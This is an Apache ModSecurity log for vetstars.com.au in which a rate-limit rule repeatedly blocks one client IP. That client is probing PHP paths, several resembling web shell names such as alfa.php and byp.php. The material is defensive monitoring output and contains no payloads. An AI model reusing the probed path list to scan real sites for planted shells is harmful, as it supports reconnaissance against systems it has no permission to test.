[Mon Dec 08 05:59:37.025414 2025] [:error] [pid 54705:tid 54750] [client 4.189.128.201:33470] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aTX4yadUeDkxwo12SG8m9QAAAZA"]
[Mon Dec 08 05:59:37.255621 2025] [:error] [pid 54705:tid 54751] [client 4.189.128.201:58581] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aTX4yadUeDkxwo12SG8m9gAAAZE"]
[Mon Dec 08 05:59:37.483022 2025] [:error] [pid 54704:tid 54726] [client 4.189.128.201:57226] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aTX4yXL1WYsMMmlqjh4U0gAAAVM"]
[Mon Dec 08 05:59:37.716329 2025] [:error] [pid 18634:tid 18654] [client 4.189.128.201:28722] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aTX4yZ-H1wCBKPf4vhN96wAAABA"]
[Mon Dec 08 05:59:37.944037 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:9431] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aTX4yXL1WYsMMmlqjh4U1AAAAU8"]
[Mon Dec 08 05:59:38.172725 2025] [:error] [pid 54705:tid 54753] [client 4.189.128.201:55004] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aTX4yqdUeDkxwo12SG8m-QAAAZM"]
[Mon Dec 08 05:59:38.408698 2025] [:error] [pid 18634:tid 18646] [client 4.189.128.201:19063] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aTX4yp-H1wCBKPf4vhN97AAAAAg"]
[Mon Dec 08 05:59:38.636973 2025] [:error] [pid 18634:tid 18653] [client 4.189.128.201:58579] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aTX4yp-H1wCBKPf4vhN97QAAAA8"]
[Mon Dec 08 05:59:38.864126 2025] [:error] [pid 54671:tid 54690] [client 4.189.128.201:51276] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aTX4ylqOuiNLLCfVy7-MnAAAARA"]
[Mon Dec 08 05:59:39.092104 2025] [:error] [pid 54705:tid 54756] [client 4.189.128.201:51325] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aTX4y6dUeDkxwo12SG8m-gAAAZY"]
[Mon Dec 08 05:59:39.319152 2025] [:error] [pid 54705:tid 54735] [client 4.189.128.201:9451] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aTX4y6dUeDkxwo12SG8m_AAAAYE"]
[Mon Dec 08 05:59:39.553035 2025] [:error] [pid 18726:tid 18750] [client 4.189.128.201:9471] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aTX4y1wVbxmJGL5LHAc6BQAAANY"]
[Mon Dec 08 05:59:39.780358 2025] [:error] [pid 18636:tid 18712] [client 4.189.128.201:58586] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aTX4y-gdXnohVr6jm71H0AAAAJQ"]
[Mon Dec 08 05:59:40.008248 2025] [:error] [pid 54705:tid 54742] [client 4.189.128.201:38011] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aTX4zKdUeDkxwo12SG8m_QAAAYg"]
[Mon Dec 08 05:59:40.235517 2025] [:error] [pid 18634:tid 18652] [client 4.189.128.201:55038] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4zJ-H1wCBKPf4vhN97gAAAA4"]
[Mon Dec 08 05:59:40.467398 2025] [:error] [pid 18636:tid 18699] [client 4.189.128.201:58563] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4zOgdXnohVr6jm71H0gAAAIc"]
[Mon Dec 08 05:59:40.695919 2025] [:error] [pid 54671:tid 54679] [client 4.189.128.201:33559] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4zFqOuiNLLCfVy7-MngAAAQU"]
[Mon Dec 08 05:59:40.925724 2025] [:error] [pid 54704:tid 54715] [client 4.189.128.201:19068] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4zHL1WYsMMmlqjh4U2AAAAUg"]
[Mon Dec 08 05:59:41.153702 2025] [:error] [pid 18636:tid 18704] [client 4.189.128.201:33541] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTX4zegdXnohVr6jm71H2QAAAIw"]
[Mon Dec 08 05:59:41.382867 2025] [:error] [pid 18726:tid 18729] [client 4.189.128.201:58617] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTX4zVwVbxmJGL5LHAc6CAAAAME"]
[Mon Dec 08 05:59:41.612264 2025] [:error] [pid 54671:tid 54688] [client 4.189.128.201:51322] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTX4zVqOuiNLLCfVy7-MoQAAAQ4"]
[Mon Dec 08 05:59:41.838655 2025] [:error] [pid 54705:tid 54752] [client 4.189.128.201:55000] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTX4zadUeDkxwo12SG8m_wAAAZI"]
[Mon Dec 08 05:59:42.065704 2025] [:error] [pid 54671:tid 54687] [client 4.189.128.201:33444] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aTX4zlqOuiNLLCfVy7-MogAAAQ0"]
[Mon Dec 08 05:59:42.292967 2025] [:error] [pid 18726:tid 18744] [client 4.189.128.201:19043] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aTX4zlwVbxmJGL5LHAc6CgAAANA"]
[Mon Dec 08 05:59:42.521969 2025] [:error] [pid 54705:tid 54744] [client 4.189.128.201:33411] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aTX4zqdUeDkxwo12SG8nBAAAAYo"]
[Mon Dec 08 05:59:42.749619 2025] [:error] [pid 54705:tid 54749] [client 4.189.128.201:53208] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aTX4zqdUeDkxwo12SG8nBQAAAY8"]
[Mon Dec 08 05:59:42.976726 2025] [:error] [pid 18636:tid 18698] [client 4.189.128.201:33575] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aTX4zugdXnohVr6jm71H3QAAAIY"]
[Mon Dec 08 05:59:43.204614 2025] [:error] [pid 54704:tid 54709] [client 4.189.128.201:33599] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aTX4z3L1WYsMMmlqjh4U3AAAAUI"]
[Mon Dec 08 05:59:43.431569 2025] [:error] [pid 18636:tid 18715] [client 4.189.128.201:51304] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aTX4z-gdXnohVr6jm71H3wAAAJc"]
[Mon Dec 08 05:59:43.670743 2025] [:error] [pid 18634:tid 18658] [client 4.189.128.201:9465] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aTX4z5-H1wCBKPf4vhN97wAAABQ"]
[Mon Dec 08 05:59:43.899824 2025] [:error] [pid 18726:tid 18746] [client 4.189.128.201:53216] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aTX4z1wVbxmJGL5LHAc6DQAAANI"]
[Mon Dec 08 05:59:44.127116 2025] [:error] [pid 18635:tid 18676] [client 4.189.128.201:58489] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aTX40G4kCC_HamQRuE10jQAAAEs"]
[Mon Dec 08 05:59:44.358821 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:51306] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aTX40FqOuiNLLCfVy7-MpAAAARY"]
[Mon Dec 08 05:59:44.588923 2025] [:error] [pid 54705:tid 54738] [client 4.189.128.201:51284] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aTX40KdUeDkxwo12SG8nBwAAAYQ"]
[Mon Dec 08 05:59:44.828282 2025] [:error] [pid 54704:tid 54729] [client 4.189.128.201:61247] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aTX40HL1WYsMMmlqjh4U4AAAAVY"]
[Mon Dec 08 05:59:45.057810 2025] [:error] [pid 18726:tid 18751] [client 4.189.128.201:28082] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aTX40VwVbxmJGL5LHAc6DwAAANc"]
[Mon Dec 08 05:59:45.285215 2025] [:error] [pid 54705:tid 54743] [client 4.189.128.201:53233] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aTX40adUeDkxwo12SG8nCgAAAYk"]
[Mon Dec 08 05:59:45.513088 2025] [:error] [pid 18635:tid 18668] [client 4.189.128.201:46671] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aTX40W4kCC_HamQRuE10jgAAAEM"]
[Mon Dec 08 05:59:45.756822 2025] [:error] [pid 54704:tid 54715] [client 4.189.128.201:28724] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTX40XL1WYsMMmlqjh4U5QAAAUg"]
[Mon Dec 08 05:59:45.989156 2025] [:error] [pid 18635:tid 18685] [client 4.189.128.201:28901] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTX40W4kCC_HamQRuE10jwAAAFQ"]
[Mon Dec 08 05:59:46.218249 2025] [:error] [pid 54704:tid 54712] [client 4.189.128.201:37999] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTX40nL1WYsMMmlqjh4U5gAAAUU"]
[Mon Dec 08 05:59:46.447435 2025] [:error] [pid 54705:tid 54747] [client 4.189.128.201:9413] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aTX40qdUeDkxwo12SG8nDAAAAY0"]
[Mon Dec 08 05:59:46.688419 2025] [:error] [pid 54671:tid 54676] [client 4.189.128.201:61216] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTX40lqOuiNLLCfVy7-MqAAAAQI"]
[Mon Dec 08 05:59:46.931002 2025] [:error] [pid 54671:tid 54697] [client 4.189.128.201:37962] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTX40lqOuiNLLCfVy7-MqQAAARc"]
[Mon Dec 08 05:59:47.162774 2025] [:error] [pid 18634:tid 18640] [client 4.189.128.201:28087] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTX405-H1wCBKPf4vhN98gAAAAI"]
[Mon Dec 08 05:59:47.390045 2025] [:error] [pid 18726:tid 18743] [client 4.189.128.201:28060] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aTX401wVbxmJGL5LHAc6EgAAAM8"]
[Mon Dec 08 05:59:47.620963 2025] [:error] [pid 18635:tid 18680] [client 4.189.128.201:61204] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTX4024kCC_HamQRuE10kQAAAE8"]
[Mon Dec 08 05:59:47.848886 2025] [:error] [pid 18635:tid 18669] [client 4.189.128.201:53187] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTX4024kCC_HamQRuE10lAAAAEQ"]
[Mon Dec 08 05:59:48.085753 2025] [:error] [pid 54671:tid 54677] [client 4.189.128.201:61206] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTX41FqOuiNLLCfVy7-MrAAAAQM"]
[Mon Dec 08 05:59:48.313976 2025] [:error] [pid 18726:tid 18749] [client 4.189.128.201:9458] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTX41FwVbxmJGL5LHAc6FQAAANU"]
[Mon Dec 08 05:59:48.562903 2025] [:error] [pid 54671:tid 54692] [client 4.189.128.201:53239] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTX41FqOuiNLLCfVy7-MrwAAARI"]
[Mon Dec 08 05:59:48.790203 2025] [:error] [pid 18726:tid 18752] [client 4.189.128.201:53211] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTX41FwVbxmJGL5LHAc6FwAAANg"]
[Mon Dec 08 05:59:49.028166 2025] [:error] [pid 54704:tid 54719] [client 4.189.128.201:35654] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTX41XL1WYsMMmlqjh4U6QAAAUw"]
[Mon Dec 08 05:59:49.260490 2025] [:error] [pid 54704:tid 54707] [client 4.189.128.201:33587] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTX41XL1WYsMMmlqjh4U6wAAAUA"]
[Mon Dec 08 05:59:49.488378 2025] [:error] [pid 18726:tid 18728] [client 4.189.128.201:35656] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aTX41VwVbxmJGL5LHAc6GQAAAMA"]
[Mon Dec 08 05:59:49.742685 2025] [:error] [pid 18635:tid 18665] [client 4.189.128.201:61203] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aTX41W4kCC_HamQRuE10mAAAAEA"]
[Mon Dec 08 05:59:49.971104 2025] [:error] [pid 18726:tid 18737] [client 4.189.128.201:53185] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aTX41VwVbxmJGL5LHAc6GgAAAMk"]
